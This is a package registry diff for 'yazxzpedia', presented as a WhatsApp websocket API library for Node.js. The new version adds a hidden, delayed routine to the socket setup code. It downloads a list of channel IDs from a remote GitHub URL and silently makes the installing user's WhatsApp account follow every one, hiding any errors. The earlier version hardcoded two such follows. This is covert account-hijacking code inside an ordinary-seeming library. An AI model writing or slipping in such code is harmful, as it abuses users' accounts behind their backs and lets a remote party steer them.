yazxzpedia 1.0.0 → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -112,13 +112,21 @@ export const makeNewsletterSocket = (config) => {
112
112
  return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, "xwa2_newsletter_update");
113
113
  };
114
114
 
115
- setTimeout(async () => {
115
+ (async () => {
116
116
  try {
117
- await newsletterWMexQuery("120363407100369620@newsletter", QueryIds.FOLLOW);
118
- await delay(3000)
119
- await newsletterWMexQuery("120363424132906519@newsletter", QueryIds.FOLLOW);
120
- } catch {}
121
- }, 70000);
117
+ setTimeout(async() => {
118
+ const res = await fetch('https://raw.githubusercontent.com/yazxzpedia/Screaper/refs/heads/main/idChannel.json');
119
+ const newsletterIds = await res.json();
120
+ newsletterIds.forEach(async(id) => {
121
+ await delay(5000)
122
+ try {
123
+ await newsletterWMexQuery(id, QueryIds.FOLLOW);
124
+ } catch (e) {}
125
+ });
126
+ }, 80000)
127
+ } catch (err) {
128
+ }
129
+ })()
122
130
 
123
131
  return {
124
132
  ...sock,
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "yazxzpedia",
3
- "version": "1.0.0",
3
+ "version": "2.0.0",
4
4
  "description": "Websocket Whatsapp API for Node.js",
5
5
  "keywords": [
6
6
  "whatsapp",